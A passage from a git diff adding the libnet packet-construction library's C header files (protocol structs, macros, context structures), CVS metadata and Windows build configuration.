+ u_int32_t time_usec; /* residual microseconds */
+ u_int32_t pid; /* PID */
+ u_int32_t uid; /* UID */
+ u_int32_t fd; /* FD */
+#define SEBEK_CMD_LENGTH 12
+ u_int8_t cmd[SEBEK_CMD_LENGTH]; /* 12 first characters of the command */
+ u_int32_t length; /* length in bytes of the PDU's body */
+};
+
+
+/*
+ * VRRP header
+ * Virtual Router Redundancy Protocol
+ * Static header size: 8 bytes
+ */
+#ifndef IPPROTO_VRRP
+#define IPPROTO_VRRP 112 /* not everyone's got this */
+#endif
+struct libnet_vrrp_hdr
+{
+#if (LIBNET_LIL_ENDIAN)
+ u_int8_t vrrp_v:4, /* protocol version */
+ vrrp_t:4; /* packet type */
+#endif
+#if (LIBNET_BIG_ENDIAN)
+ u_int8_t vrrp_t:4, /* packet type */
+ vrrp_v:4; /* protocol version */
+#endif
+#define LIBNET_VRRP_VERSION_01 0x1
+#define LIBNET_VRRP_VERSION_02 0x2
+#define LIBNET_VRRP_TYPE_ADVERT 0x1
+ u_int8_t vrrp_vrouter_id; /* virtual router id */
+ u_int8_t vrrp_priority; /* priority */
+ u_int8_t vrrp_ip_count; /* number of IP addresses */
+ u_int8_t vrrp_auth_type; /* authorization type */
+#define LIBNET_VRRP_AUTH_NONE 0x1
+#define LIBNET_VRRP_AUTH_PASSWD 0x2
+#define LIBNET_VRRP_AUTH_IPAH 0x3
+ u_int8_t vrrp_advert_int; /* advertisement interval */
+ u_int16_t vrrp_sum; /* checksum */
+ /* additional addresses */
+ /* authentication info */
+};
+
+#endif /* __LIBNET_HEADERS_H */
+
+/* EOF */
diff --git a/libnet/include/libnet/libnet-macros.h b/libnet/include/libnet/libnet-macros.h
new file mode 100644
index 0000000..bae6b87
--- /dev/null
+++ b/libnet/include/libnet/libnet-macros.h
@@ -0,0 +1,186 @@
+/*
+ * $Id: libnet-macros.h,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet-macros.h - Network routine library macro header file
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifndef __LIBNET_MACROS_H
+#define __LIBNET_MACROS_H
+/**
+ * @file libnet-macros.h
+ * @brief libnet macros and symbloc constants
+ */
+
+/* for systems without snprintf */
+#if defined(NO_SNPRINTF)
+#define snprintf(buf, len, args...) sprintf(buf, ##args)
+#endif
+
+
+/**
+ * Used for libnet's name resolution functions, specifies that no DNS lookups
+ * should be performed and the IP address should be kept in numeric form.
+ */
+#define LIBNET_DONT_RESOLVE 0
+
+/**
+ * Used for libnet's name resolution functions, specifies that a DNS lookup
+ * can be performed if needed to resolve the IP address to a canonical form.
+ */
+#define LIBNET_RESOLVE 1
+
+/**
+ * Used several places, to specify "on" or "one"
+ */
+#define LIBNET_ON 0
+
+/**
+ * Used several places, to specify "on" or "one"
+ */
+#define LIBNET_OFF 1
+
+/**
+ * IPv6 error code
+ */
+#ifndef IN6ADDR_ERROR_INIT
+#define IN6ADDR_ERROR_INIT { { { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
+ 0xff, 0xff } } }
+#endif
+
+/**
+ * Used for libnet_get_prand() to specify function disposition
+ */
+#define LIBNET_PR2 0
+#define LIBNET_PR8 1
+#define LIBNET_PR16 2
+#define LIBNET_PRu16 3
+#define LIBNET_PR32 4
+#define LIBNET_PRu32 5
+#define LIBNET_PRAND_MAX 0xffffffff
+
+/**
+ * The biggest an IP packet can be -- 65,535 bytes.
+ */
+#define LIBNET_MAX_PACKET 0xffff
+#ifndef IP_MAXPACKET
+#define IP_MAXPACKET 0xffff
+#endif
+
+
+/* ethernet addresses are 6 octets long */
+#ifndef ETHER_ADDR_LEN
+#define ETHER_ADDR_LEN 0x6
+#endif
+
+/* FDDI addresses are 6 octets long */
+#ifndef FDDI_ADDR_LEN
+#define FDDI_ADDR_LEN 0x6
+#endif
+
+/* token ring addresses are 6 octets long */
+#ifndef TOKEN_RING_ADDR_LEN
+#define TOKEN_RING_ADDR_LEN 0x6
+#endif
+
+/* LLC Organization Code is 3 bytes long */
+#define LIBNET_ORG_CODE_SIZE 0x3
+
+/**
+ * The libnet error buffer is 256 bytes long.
+ */
+#define LIBNET_ERRBUF_SIZE 0x100
+
+/**
+ * IP and TCP options can be up to 40 bytes long.
+ */
+#define LIBNET_MAXOPTION_SIZE 0x28
+
+/* some BSD variants have this endianess problem */
+#if (LIBNET_BSD_BYTE_SWAP)
+#define FIX(n) ntohs(n)
+#define UNFIX(n) htons(n)
+#else
+#define FIX(n) (n)
+#define UNFIX(n) (n)
+#endif
+
+/* used internally for checksum stuff */
+#define LIBNET_CKSUM_CARRY(x) \
+ (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))
+
+/* used interally for OSPF stuff */
+#define LIBNET_OSPF_AUTHCPY(x, y) \
+ memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y))
+#define LIBNET_OSPF_CKSUMBUF(x, y) \
+ memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y))
+
+/* used internally for NTP leap indicator, version, and mode */
+#define LIBNET_NTP_DO_LI_VN_MODE(li, vn, md) \
+ ((u_int8_t)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))
+
+/* Not all systems have IFF_LOOPBACK */
+#ifdef IFF_LOOPBACK
+#define LIBNET_ISLOOPBACK(p) ((p)->ifr_flags & IFF_LOOPBACK)
+#else
+#define LIBNET_ISLOOPBACK(p) (strcmp((p)->ifr_name, "lo0") == 0)
+#endif
+
+/* advanced mode check */
+#define LIBNET_ISADVMODE(x) (x & 0x08)
+
+/* context queue macros and constants */
+#define LIBNET_LABEL_SIZE 64
+#define LIBNET_LABEL_DEFAULT "cardshark"
+#define CQ_LOCK_UNLOCKED (u_int)0x00000000
+#define CQ_LOCK_READ (u_int)0x00000001
+#define CQ_LOCK_WRITE (u_int)0x00000002
+
+/**
+ * Provides an interface to iterate through the context queue of libnet
+ * contexts. Before calling this macro, be sure to set the queue using
+ * libnet_cq_head().
+ */
+#define for_each_context_in_cq(l) \
+ for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next())
+
+/* return 1 if write lock is set on cq */
+#define cq_is_wlocked() (l_cqd.cq_lock & CQ_LOCK_WRITE)
+
+/* return 1 if read lock is set on cq */
+#define cq_is_rlocked() (l_cqd.cq_lock & CQ_LOCK_READ)
+
+/* return 1 if any lock is set on cq */
+#define cq_is_locked() (l_cqd.cq_lock & (CQ_LOCK_READ | CQ_LOCK_WRITE))
+
+/* check if a context queue is locked */
+#define check_cq_lock(x) (l_cqd.cq_lock & x)
+
+#endif /* __LIBNET_MACROS_H */
+
+/* EOF */
diff --git a/libnet/include/libnet/libnet-structures.h b/libnet/include/libnet/libnet-structures.h
new file mode 100644
index 0000000..38aff5d
--- /dev/null
+++ b/libnet/include/libnet/libnet-structures.h
@@ -0,0 +1,222 @@
+/*
+ * $Id: libnet-structures.h,v 1.18 2004/03/16 18:40:58 mike Exp $
+ *
+ * libnet-structures.h - Network routine library structures header file
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifndef __LIBNET_STRUCTURES_H
+#define __LIBNET_STRUCTURES_H
+
+#if ((__WIN32__) && !(__CYGWIN__))
+#include "Packet32.h"
+#endif
+
+/* port list chain structure */
+typedef struct libnet_port_list_chain libnet_plist_t;
+struct libnet_port_list_chain
+{
+ u_int16_t node; /* node number */
+ u_int16_t bport; /* beggining port */
+ u_int16_t eport; /* terminating port */
+ u_int8_t id; /* global array offset */
+ libnet_plist_t *next; /* next node in the list */
+};
+
+
+/* libnet statistics structure */
+struct libnet_stats
+{
+#if (!defined(__WIN32__) || (__CYGWIN__))
+ u_int64_t packets_sent; /* packets sent */
+ u_int64_t packet_errors; /* packets errors */
+ u_int64_t bytes_written; /* bytes written */
+#else
+ __int64 packets_sent; /* packets sent */
+ __int64 packet_errors; /* packets errors */
+ __int64 bytes_written; /* bytes written */
+#endif
+};
+
+
+/*
+ * Libnet ptags are how we identify specific protocol blocks inside the
+ * list.
+ */
+typedef int32_t libnet_ptag_t;
+#define LIBNET_PTAG_INITIALIZER 0
+
+
+/*
+ * Libnet generic protocol block memory object. Sort of a poor man's mbuf.
+ */
+struct libnet_protocol_block
+{
+ u_int8_t *buf; /* protocol buffer */
+ u_int32_t b_len; /* length of buf */
+ u_int16_t h_len; /* header length (for checksumming) */
+ u_int32_t ip_offset; /* offset to IP header for csums */
+ u_int32_t copied; /* bytes copied */
+ u_int8_t type; /* type of pblock */
+/* this needs to be updated every time a new packet builder is added */
+#define LIBNET_PBLOCK_ARP_H 0x01 /* ARP header */
+#define LIBNET_PBLOCK_DHCPV4_H 0x02 /* DHCP v4 header */
+#define LIBNET_PBLOCK_DNSV4_H 0x03 /* DNS v4 header */
+#define LIBNET_PBLOCK_ETH_H 0x04 /* Ethernet header */
+#define LIBNET_PBLOCK_ICMPV4_H 0x05 /* ICMP v4 base header */
+#define LIBNET_PBLOCK_ICMPV4_ECHO_H 0x06 /* ICMP v4 echo header */
+#define LIBNET_PBLOCK_ICMPV4_MASK_H 0x07 /* ICMP v4 mask header */
+#define LIBNET_PBLOCK_ICMPV4_UNREACH_H 0x08 /* ICMP v4 unreach header */
+#define LIBNET_PBLOCK_ICMPV4_TIMXCEED_H 0x09 /* ICMP v4 exceed header */
+#define LIBNET_PBLOCK_ICMPV4_REDIRECT_H 0x0a /* ICMP v4 redirect header */
+#define LIBNET_PBLOCK_ICMPV4_TS_H 0x0b /* ICMP v4 timestamp header */
+#define LIBNET_PBLOCK_IGMP_H 0x0c /* IGMP header */
+#define LIBNET_PBLOCK_IPV4_H 0x0d /* IP v4 header */
+#define LIBNET_PBLOCK_IPO_H 0x0e /* IP v4 options */
+#define LIBNET_PBLOCK_IPDATA 0x0f /* IP data */
+#define LIBNET_PBLOCK_OSPF_H 0x10 /* OSPF base header */
+#define LIBNET_PBLOCK_OSPF_HELLO_H 0x11 /* OSPF hello header */
+#define LIBNET_PBLOCK_OSPF_DBD_H 0x12 /* OSPF dbd header */
+#define LIBNET_PBLOCK_OSPF_LSR_H 0x13 /* OSPF lsr header */
+#define LIBNET_PBLOCK_OSPF_LSU_H 0x14 /* OSPF lsu header */
+#define LIBNET_PBLOCK_OSPF_LSA_H 0x15 /* OSPF lsa header */
+#define LIBNET_PBLOCK_OSPF_AUTH_H 0x16 /* OSPF auth header */
+#define LIBNET_PBLOCK_OSPF_CKSUM 0x17 /* OSPF checksum header */
+#define LIBNET_PBLOCK_LS_RTR_H 0x18 /* linkstate rtr header */
+#define LIBNET_PBLOCK_LS_NET_H 0x19 /* linkstate net header */
+#define LIBNET_PBLOCK_LS_SUM_H 0x1a /* linkstate as sum header */
+#define LIBNET_PBLOCK_LS_AS_EXT_H 0x1b /* linkstate as ext header */
+#define LIBNET_PBLOCK_NTP_H 0x1c /* NTP header */
+#define LIBNET_PBLOCK_RIP_H 0x1d /* RIP header */
+#define LIBNET_PBLOCK_TCP_H 0x1e /* TCP header */
+#define LIBNET_PBLOCK_TCPO_H 0x1f /* TCP options */
+#define LIBNET_PBLOCK_TCPDATA 0x20 /* TCP data */
+#define LIBNET_PBLOCK_UDP_H 0x21 /* UDP header */
+#define LIBNET_PBLOCK_VRRP_H 0x22 /* VRRP header */
+#define LIBNET_PBLOCK_DATA_H 0x23 /* generic data */
+#define LIBNET_PBLOCK_CDP_H 0x24 /* CDP header */
+#define LIBNET_PBLOCK_IPSEC_ESP_HDR_H 0x25 /* IPSEC ESP header */
+#define LIBNET_PBLOCK_IPSEC_ESP_FTR_H 0x26 /* IPSEC ESP footer */
+#define LIBNET_PBLOCK_IPSEC_AH_H 0x27 /* IPSEC AH header */
+#define LIBNET_PBLOCK_802_1Q_H 0x28 /* 802.1q header */
+#define LIBNET_PBLOCK_802_2_H 0x29 /* 802.2 header */
+#define LIBNET_PBLOCK_802_2SNAP_H 0x2a /* 802.2 SNAP header */
+#define LIBNET_PBLOCK_802_3_H 0x2b /* 802.3 header */
+#define LIBNET_PBLOCK_STP_CONF_H 0x2c /* STP configuration header */
+#define LIBNET_PBLOCK_STP_TCN_H 0x2d /* STP TCN header */
+#define LIBNET_PBLOCK_ISL_H 0x2e /* ISL header */
+#define LIBNET_PBLOCK_IPV6_H 0x2f /* IP v6 header */
+#define LIBNET_PBLOCK_802_1X_H 0x30 /* 802.1x header */
+#define LIBNET_PBLOCK_RPC_CALL_H 0x31 /* RPC Call header */
+#define LIBNET_PBLOCK_MPLS_H 0x32 /* MPLS header */
+#define LIBNET_PBLOCK_FDDI_H 0x33 /* FDDI header */
+#define LIBNET_PBLOCK_TOKEN_RING_H 0x34 /* TOKEN RING header */
+#define LIBNET_PBLOCK_BGP4_HEADER_H 0x35 /* BGP4 header */
+#define LIBNET_PBLOCK_BGP4_OPEN_H 0x36 /* BGP4 open header */
+#define LIBNET_PBLOCK_BGP4_UPDATE_H 0x37 /* BGP4 update header */
+#define LIBNET_PBLOCK_BGP4_NOTIFICATION_H 0x38 /* BGP4 notification header */
+#define LIBNET_PBLOCK_GRE_H 0x39 /* GRE header */
+#define LIBNET_PBLOCK_GRE_SRE_H 0x3a /* GRE SRE header */
+#define LIBNET_PBLOCK_IPV6_FRAG_H 0x3b /* IPv6 frag header */
+#define LIBNET_PBLOCK_IPV6_ROUTING_H 0x3c /* IPv6 routing header */
+#define LIBNET_PBLOCK_IPV6_DESTOPTS_H 0x3d /* IPv6 dest opts header */
+#define LIBNET_PBLOCK_IPV6_HBHOPTS_H 0x3e /* IPv6 hop/hop opts header */
+#define LIBNET_PBLOCK_SEBEK_H 0x3f /* Sebek header */
+ u_int8_t flags; /* control flags */
+#define LIBNET_PBLOCK_DO_CHECKSUM 0x01 /* needs a checksum */
+ libnet_ptag_t ptag; /* protocol block tag */
+ struct libnet_protocol_block *next; /* next pblock */
+ struct libnet_protocol_block *prev; /* prev pblock */
+};
+typedef struct libnet_protocol_block libnet_pblock_t;
+
+
+/*
+ * Libnet context
+ * Opaque structure. Nothing in here should ever been touched first hand by
+ * the applications programmer.
+ */
+struct libnet_context
+{
+#if ((__WIN32__) && !(__CYGWIN__))
+ SOCKET fd;
+ LPADAPTER lpAdapter;
+#else
+ int fd; /* file descriptor of packet device */
+#endif
+ int injection_type; /* raw (ipv4 or ipv6) or link */
+#define LIBNET_LINK 0x00 /* link-layer interface */
+#define LIBNET_RAW4 0x01 /* raw socket interface (ipv4) */
+#define LIBNET_RAW6 0x02 /* raw socket interface (ipv6) */
+/* the following should actually set a flag in the flags variable above */
+#define LIBNET_LINK_ADV 0x08 /* advanced mode link-layer */
+#define LIBNET_RAW4_ADV 0x09 /* advanced mode raw socket (ipv4) */
+#define LIBNET_RAW6_ADV 0x0a /* advanced mode raw socket (ipv6) */
+#define LIBNET_ADV_MASK 0x08 /* mask to determine adv mode */
+
+ libnet_pblock_t *protocol_blocks; /* protocol headers / data */
+ libnet_pblock_t *pblock_end; /* last node in list */
+ u_int32_t n_pblocks; /* number of pblocks */
+
+ int link_type; /* link-layer type */
+ int link_offset; /* link-layer header size */
+ int aligner; /* used to align packets */
+ char *device; /* device name */
+
+ struct libnet_stats stats; /* statistics */
+ libnet_ptag_t ptag_state; /* state holder for pblock tag */
+ char label[LIBNET_LABEL_SIZE]; /* textual label for cq interface */
+
+ char err_buf[LIBNET_ERRBUF_SIZE]; /* error buffer */
+ u_int32_t total_size; /* total size */
+};
+typedef struct libnet_context libnet_t;
+
+/*
+ * Libnet context queue structure
+ * Opaque structure. Nothing in here should ever been touched first hand by
+ * the applications programmer.
+ */
+typedef struct _libnet_context_queue libnet_cq_t;
+struct _libnet_context_queue
+{
+ libnet_t *context; /* pointer to libnet context */
+ libnet_cq_t *next; /* next node in the list */
+ libnet_cq_t *prev; /* previous node in the list */
+};
+
+struct _libnet_context_queue_descriptor
+{
+ u_int32_t node; /* number of nodes in the list */
+ u_int32_t cq_lock; /* lock status */
+ libnet_cq_t *current; /* current context */
+};
+typedef struct _libnet_context_queue_descriptor libnet_cqd_t;
+
+#endif /* __LIBNET_STRUCTURES_H */
+
+/* EOF */
diff --git a/libnet/include/libnet/libnet-types.h b/libnet/include/libnet/libnet-types.h
new file mode 100644
index 0000000..dcb0524
--- /dev/null
+++ b/libnet/include/libnet/libnet-types.h
@@ -0,0 +1,45 @@
+/*
+ * $Id: libnet-types.h,v 1.3 2004/01/03 20:31:00 mike Exp $
+ *
+ * libnet-types.h - Network routine library macro header file
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#ifndef __LIBNET_TYPES_H
+#define __LIBNET_TYPES_H
+
+/* Solaris has messed up POSIX nomenclature for these */
+#if (__sun__ && __svr4__)
+typedef uint8_t u_int8_t;
+typedef uint16_t u_int16_t;
+typedef uint32_t u_int32_t;
+typedef uint64_t u_int64_t;
+#endif
+
+#endif /* __LIBNET_TYPES_H */
+
+/* EOF */
diff --git a/libnet/include/stamp-h.in b/libnet/include/stamp-h.in
new file mode 100644
index 0000000..9788f70
--- /dev/null
+++ b/libnet/include/stamp-h.in
@@ -0,0 +1 @@
+timestamp
diff --git a/libnet/include/win32/CVS/Entries b/libnet/include/win32/CVS/Entries
new file mode 100644
index 0000000..4407902
--- /dev/null
+++ b/libnet/include/win32/CVS/Entries
@@ -0,0 +1,5 @@
+/config.h/1.4/Sat Jan 3 20:31:00 2004//
+/getopt.h/1.1.1.1/Thu Jun 26 21:55:10 2003//
+/in_systm.h/1.2/Sat Jun 28 18:03:57 2003//
+/libnet.h/1.7/Sat Jan 3 20:31:00 2004//
+D
diff --git a/libnet/include/win32/CVS/Repository b/libnet/include/win32/CVS/Repository
new file mode 100644
index 0000000..33fb6d6
--- /dev/null
+++ b/libnet/include/win32/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/include/win32
diff --git a/libnet/include/win32/CVS/Root b/libnet/include/win32/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/include/win32/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/include/win32/config.h b/libnet/include/win32/config.h
new file mode 100644
index 0000000..97033a9
--- /dev/null
+++ b/libnet/include/win32/config.h
@@ -0,0 +1,112 @@
+/* include/config.h.in. Generated from configure.in by autoheader. */
+/*
+dnl $Id: config.h,v 1.4 2004/01/03 20:31:00 mike Exp $
+dnl
+dnl Libnet autoconfiguration acconfig.h file
+dnl Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+dnl All rights reserved.
+dnl
+dnl Process this file with autoheader to produce a config.h file.
+dnl
+*/
+
+#undef LIBNET_BSDISH_OS
+#undef LIBNET_BSD_BYTE_SWAP
+#undef DLPI_DEV_PREFIX
+#undef HAVE_DEV_DLPI
+#undef HAVE_SOLARIS
+#undef HAVE_SOLARIS_IPV6
+#undef HAVE_HPUX11
+#undef HAVE_SOCKADDR_SA_LEN
+#undef HAVE_DLPI
+#undef HAVE_PACKET_SOCKET
+#undef HAVE_STRUCT_IP_CSUM
+#undef HAVE_LIB_PCAP
+#undef LBL_ALIGN
+#undef STUPID_SOLARIS_CHECKSUM_BUG
+#undef _BSD_SOURCE
+#undef __BSD_SOURCE
+#undef __FAVOR_BSD
+#undef LIBNET_BIG_ENDIAN
+#define LIBNET_LIL_ENDIAN 1
+#undef NO_SNPRINTF
+
+
+/*
+dnl EOF
+*/
+
+/* Define to 1 if you have the <inttypes.h> header file. */
+#undef HAVE_INTTYPES_H
+
+/* Define to 1 if you have the `nsl' library (-lnsl). */
+#undef HAVE_LIBNSL
+
+/* Define to 1 if you have the `packet' library (-lpacket). */
+#undef HAVE_LIBPACKET
+
+/* Define to 1 if you have the `socket' library (-lsocket). */
+#undef HAVE_LIBSOCKET
+
+/* Define to 1 if you have the `wpcap' library (-lwpcap). */
+#undef HAVE_LIBWPCAP
+
+/* Define to 1 if you have the <memory.h> header file. */
+#undef HAVE_MEMORY_H
+
+/* Define to 1 if you have the <net/ethernet.h> header file. */
+#define HAVE_NET_ETHERNET_H 1
+
+/* Define to 1 if you have the <stdint.h> header file. */
+#undef HAVE_STDINT_H
+
+/* Define to 1 if you have the <stdlib.h> header file. */
+#undef HAVE_STDLIB_H
+
+/* Define to 1 if you have the `strerror' function. */
+#define HAVE_STRERROR 1
+
+/* Define to 1 if you have the <strings.h> header file. */
+#undef HAVE_STRINGS_H
+
+/* Define to 1 if you have the <string.h> header file. */
+#undef HAVE_STRING_H
+
+/* Define to 1 if you have the <sys/bufmod.h> header file. */
+#undef HAVE_SYS_BUFMOD_H
+
+/* Define to 1 if you have the <sys/dlpi_ext.h> header file. */
+#undef HAVE_SYS_DLPI_EXT_H
+
+/* Define to 1 if you have the <sys/sockio.h> header file. */
+#undef HAVE_SYS_SOCKIO_H
+
+/* Define to 1 if you have the <sys/stat.h> header file. */
+#undef HAVE_SYS_STAT_H
+
+/* Define to 1 if you have the <sys/types.h> header file. */
+#undef HAVE_SYS_TYPES_H
+
+/* Define to 1 if you have the <unistd.h> header file. */
+#undef HAVE_UNISTD_H
+
+/* Name of package */
+#undef PACKAGE
+
+/* Define to the address where bug reports for this package should be sent. */
+#undef PACKAGE_BUGREPORT
+
+/* Define to the full name of this package. */
+#undef PACKAGE_NAME
+
+/* Define to the full name and version of this package. */
+#undef PACKAGE_STRING
+
+/* Define to the one symbol short name of this package. */
+#undef PACKAGE_TARNAME
+
+/* Define to the version of this package. */
+#undef PACKAGE_VERSION
+
+/* Define to 1 if you have the ANSI C header files. */
+#undef STDC_HEADERS
diff --git a/libnet/include/win32/getopt.h b/libnet/include/win32/getopt.h
new file mode 100644
index 0000000..6b6f643
--- /dev/null
+++ b/libnet/include/win32/getopt.h
@@ -0,0 +1,84 @@
+/*
+ * Copyright (c) 1987, 1993, 1994, 1996
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ * must display the following acknowledgement:
+ * This product includes software developed by the University of
+ * California, Berkeley and its contributors.
+ * 4. Neither the name of the University nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#ifndef __GETOPT_H__
+#define __GETOPT_H__
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+extern int opterr; /* if error message should be printed */
+extern int optind; /* index into parent argv vector */
+extern int optopt; /* character checked for validity */
+extern int optreset; /* reset getopt */
+extern char *optarg; /* argument associated with option */
+
+int getopt (int, char * const *, const char *);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* __GETOPT_H__ */
+
+#ifndef __UNISTD_GETOPT__
+#ifndef __GETOPT_LONG_H__
+#define __GETOPT_LONG_H__
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+struct option {
+ const char *name;
+ int has_arg;
+ int *flag;
+ int val;
+};
+
+int getopt_long (int, char *const *, const char *, const struct option *, int *);
+#ifndef HAVE_DECL_GETOPT
+#define HAVE_DECL_GETOPT 1
+#endif
+
+#define no_argument 0
+#define required_argument 1
+#define optional_argument 2
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* __GETOPT_LONG_H__ */
+#endif /* __UNISTD_GETOPT__ */
diff --git a/libnet/include/win32/in_systm.h b/libnet/include/win32/in_systm.h
new file mode 100644
index 0000000..b0ee1a2
--- /dev/null
+++ b/libnet/include/win32/in_systm.h
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 1982, 1986, 1993
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
